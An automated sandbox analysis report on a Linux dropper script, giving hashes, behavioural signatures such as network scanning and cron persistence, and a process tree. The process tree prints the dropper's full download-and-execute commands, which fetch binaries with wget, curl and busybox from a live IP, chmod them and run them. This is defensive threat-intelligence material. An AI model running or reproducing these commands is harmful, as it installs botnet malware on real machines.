Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    05-11-2024 00:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    fe55ec7a9c108baee34e5028d3c61501

  • SHA1

    d8562e2cd5ac2b22c50957fe20b097f823b606c5

  • SHA256

    43dedff8578cec7e507ea89b05dbf354465c223f4acfbf5e5f9ec924aaab3778

  • SHA512

    be865b5d30e3f7babfe7ccd76bbfb176735d9af836c85b7a2c310c53eea50432ceec104d8dd1265df82566f3140c83259958d630c4691f62d6e7962bf0abbd2a

  • SSDEEP

    192:Oq/UtnXhFEQu38yuay8Qz3FnXhFEQKuay8QzPl/e:O9tnXnEQu38ycnXnEQ6R

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1989) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1498
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1499
        • /usr/bin/wget
          wget http://216.126.231.240/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Writes file to tmp directory
          PID:1500
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Writes file to tmp directory
          PID:1504
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Writes file to tmp directory
          PID:1506
        • /bin/chmod
          chmod 777 sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • File and Directory Permissions Modification
          PID:1507
        • /tmp/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          ./sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
          • Executes dropped EXE
          PID:1508
        • /bin/rm
          rm sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6
          2⤵
            PID:1510
          • /usr/bin/wget
            wget http://216.126.231.240/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Writes file to tmp directory
            PID:1511
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Writes file to tmp directory
            PID:1512
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Writes file to tmp directory
            PID:1513
          • /bin/chmod
            chmod 777 zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • File and Directory Permissions Modification
            PID:1514
          • /tmp/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            ./zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
            • Executes dropped EXE
            PID:1515
          • /bin/rm
            rm zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv
            2⤵
              PID:1517
            • /usr/bin/wget
              wget http://216.126.231.240/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
              • Writes file to tmp directory
              PID:1518
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
              • Writes file to tmp directory
              PID:1519
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
              • Writes file to tmp directory
              PID:1520
            • /bin/chmod
              chmod 777 XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
              • File and Directory Permissions Modification
              PID:1521
            • /tmp/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              ./XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
              • Executes dropped EXE
              PID:1522
            • /bin/rm
              rm XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB
              2⤵
                PID:1524
              • /usr/bin/wget
                wget http://216.126.231.240/bins/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                2⤵
                • Writes file to tmp directory
                PID:1525
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                2⤵
                • Writes file to tmp directory
                PID:1526
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                2⤵
                • Writes file to tmp directory
                PID:1527
              • /bin/chmod
                chmod 777 MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                2⤵
                • File and Directory Permissions Modification
                PID:1528
              • /tmp/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                ./MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                2⤵
                • Executes dropped EXE
                PID:1529
              • /bin/rm
                rm MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga
                2⤵
                  PID:1531
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0
                  2⤵
                  • Writes file to tmp directory
                  PID:1532
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0
                  2⤵
                  • Writes file to tmp directory
                  PID:1533
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0
                  2⤵
                  • Writes file to tmp directory
                  PID:1534
                • /bin/chmod
                  chmod 777 TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1535
                • /tmp/TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0
                  ./TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0
                  2⤵
                  • Executes dropped EXE
                  PID:1536
                • /bin/rm
                  rm TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0
                  2⤵
                    PID:1538
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf
                    2⤵
                    • Writes file to tmp directory
                    PID:1539
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf
                    2⤵
                    • Writes file to tmp directory
                    PID:1540
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf
                    2⤵
                    • Writes file to tmp directory
                    PID:1541
                  • /bin/chmod
                    chmod 777 jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1542
                  • /tmp/jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf
                    ./jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf
                    2⤵
                    • Executes dropped EXE
                    PID:1543
                  • /bin/rm
                    rm jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf
                    2⤵
                      PID:1545
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz
                      2⤵
                      • Writes file to tmp directory
                      PID:1546
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz
                      2⤵
                      • Writes file to tmp directory
                      PID:1547
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz
                      2⤵
                      • Writes file to tmp directory
                      PID:1548
                    • /bin/chmod
                      chmod 777 PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1549
                    • /tmp/PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz
                      ./PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:1550
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:1552
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:1553
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:1554
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:1555
                          • /bin/rm
                            rm PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz
                            2⤵
                              PID:1557
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/yrH8pHqGTJHEaZq0VcF9NLtHOFfqt3mYoW
                              2⤵
                                PID:1560

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/MjB54RWjLAUM0OKcWv4MJ1Pwc1wKvaLvga

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/PaIX3rhNmkoIvvq77cuUKsjrJlfrqVAgFz

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/TGZVPthKPk2URap86KcG8IC5ua8ThuC3t0

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /tmp/XTAo5MqVmMfqhymGAjJEyyLqShLNrvbKxB

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/jICtmXt2Yp49dbEHvpunckLjqQZznuY8Hf

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/sppMiKhKttCT7KFnr4dlHcbR5cP9UvReY6

                              Filesize

                              122KB

                              MD5

                              cd3d4b9c643e5b473fb4d88ed05f0716

                              SHA1

                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                              SHA256

                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                              SHA512

                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                            • /tmp/zFbUyvnPBWDQyH7aTTtBjrIrXRrpao7Xdv

                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            • /var/spool/cron/crontabs/tmp.Gx33Vb

                              Filesize

                              210B

                              MD5

                              b76b812c217e27495d9b63ddfc299c45

                              SHA1

                              c46ee744d53cd8b486df6eccbac07ced7835bc70

                              SHA256

                              0a426902ee38122e6d81188d63246eb39571c5b254434b4137899ebfdacf5bce

                              SHA512

                              af404600c3492150b824f803070dee8416c9b78718849dc0d4f1c2d7aca6e757b652b220f4a44d803c2939d989cf6070563819324831111b0eac68e4ed87131d